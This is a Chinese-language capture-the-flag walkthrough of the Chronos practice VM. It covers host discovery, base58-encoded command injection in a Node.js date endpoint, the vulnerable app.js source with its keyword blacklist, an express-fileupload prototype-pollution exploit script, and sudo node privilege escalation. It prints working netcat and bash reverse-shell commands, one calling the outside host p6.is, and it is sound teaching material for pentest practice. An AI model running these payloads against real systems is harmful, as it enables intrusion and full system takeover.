赞
踩
目录
九、利用express-fileupload库的漏洞提权拿到imera权限
利用netdiscover工具
最后的子网掩码最好 -8 扫描,这样扫描出来的效果更好
sudo netdiscover -r 192.168.43.27/16
可以看到 192.168.43.49就是我们要攻击的靶机
发现两个页面的源代码一样。唯一有用信息就是脚本里的信息,把他放到复制下来看一下。
发现是一堆加密的字符,所以试着去解密这些字符
三个框框,input是输入框,output是输出框,recipe译为佐料,这里是放置转码类型的地方。
经过 转码我们就看到了这些内容
有一条url信息对我们是有帮助的
由于都是8000端口,猜测此域名和ip有所关联,为了让域名能正常解析,所以在kali上修改hosts文件,将ip与域名绑定到一起
爆出来一行 时间日期年月
利用magic模块来解码参数,解码出来是linux里的日期参数,可以猜测此参数就是调用到linux中的命令端口,所以尝试对参数进行命令注入
&& ls
还是采用cyberchef这个加解密的瑞士军刀,选择to base64模块
注入十分顺利,可以看到存在命令注入漏洞。
nc -nvlp 5555
这里需要base58编码
nc 192.168.43.27 5555
页面报错,但是连接成功
1.开启两个侦听端口
2.建立连接
要进行编码
&& nc 192.168.43.27 5555 | /bin/bash | nc 192.168.43.27 6666
7m71bMEyK3F7NzzUQKtp127YFLuqnV3pqN33VNWsDhnHuKrArnFkgtgARwefeJpPMVxrLDC2c9JHbik4pV
该web应用使用node.js来开发的,我们来查看这些文件,特别是依赖包文件package.json和主程序文件app.js
该文件下有依赖的库bs58(base58),cors和express这个常用的web应用开发框架。
- // created by alienum for Penetration Testing
- //导入依赖库,设置端口
- const express = require('express');
- const { exec } = require("child_process");
- const bs58 = require('bs58');
- const app = express();
-
- const port = 8000;
-
- const cors = require('cors');
-
- //将地址进行路由的一个过程
- app.use(cors());
-
- app.get('/', (req,res) =>{
-
- res.sendFile("/var/www/html/index.html");
- });
-
- //这里就是将date命令和解密后的参数拼接的一段代码
- app.get('/date', (req, res) => {
-
- var agent = req.headers['user-agent'];
- var cmd = 'date ';
- const format = req.query.format;
- const bytes = bs58.decode(format);
- var decoded = bytes.toString();
- var concat = cmd.concat(decoded);
- //首先判断agent是否为chronos本机,之后检测是否有恶意的命令注入语句,
- //如果有则发出提醒Something went wrong,但是没有终止命令的执行
- if (agent === 'Chronos') {
- if (concat.includes('id') || concat.includes('whoami') || concat.includes('python') || concat.includes('nc') || concat.includes('bash') || concat.includes('php') || concat.includes('which') || concat.includes('socat')) {
-
- res.send("Something went wrong");
- }
- exec(concat, (error, stdout, stderr) => {
- if (error) {
- console.log(`error: ${error.message}`);
- return;
- }
- if (stderr) {
- console.log(`stderr: ${stderr}`);
- return;
- }
- res.send(stdout);
- });
- }
- else{
-
- res.send("Permission Denied");
- }
- })
- //运行前面拼接的命令
- app.listen(port,() => {
-
- console.log(`Server running at ${port}`);
-
- })
-
-
发现并没有对我们提权有所帮助的框架或者是信息。
发现有一个chronos-v2的web应用,查看其中的文件
可以看到address是127.0.0.1 端口port是8080,所以说这是架设在靶机服务器本地上的一个web应用。
- const express = require('express');
- const fileupload = require("express-fileupload");
- const http = require('http')
-
- const app = express();
-
- app.use(fileupload({ parseNested: true }));
-
- app.set('view engine', 'ejs');
- app.set('views', "/opt/chronos-v2/frontend/pages");
-
- app.get('/', (req, res) => {
- res.render('index')
- });
-
- const server = http.Server(app);
- const addr = "127.0.0.1"
- const port = 8080;
- server.listen(port, addr, () => {
- console.log('Server listening on ' + addr + ' port ' + port);
- });
可以发现一个express-fileupload库,尝试去利用它。
发现有一个user.txt并且无法查看,只有imera用户具有权限
- import requests
-
- cmd = 'bash -c "bash -i &> /dev/tcp/p6.is/8888 0>&1"'
-
- # pollute
- requests.post('http://p6.is:7777', files = {'__proto__.outputFunctionName': (
- None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
-
- # execute command
- requests.get('http://p6.is:7777')
-
nc -nvlp 8888
sudo -l
sudo node -e 'child_process.spawn("/bin/bash",{stdio: [0,1,2]})'
拿到了第二个flag
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。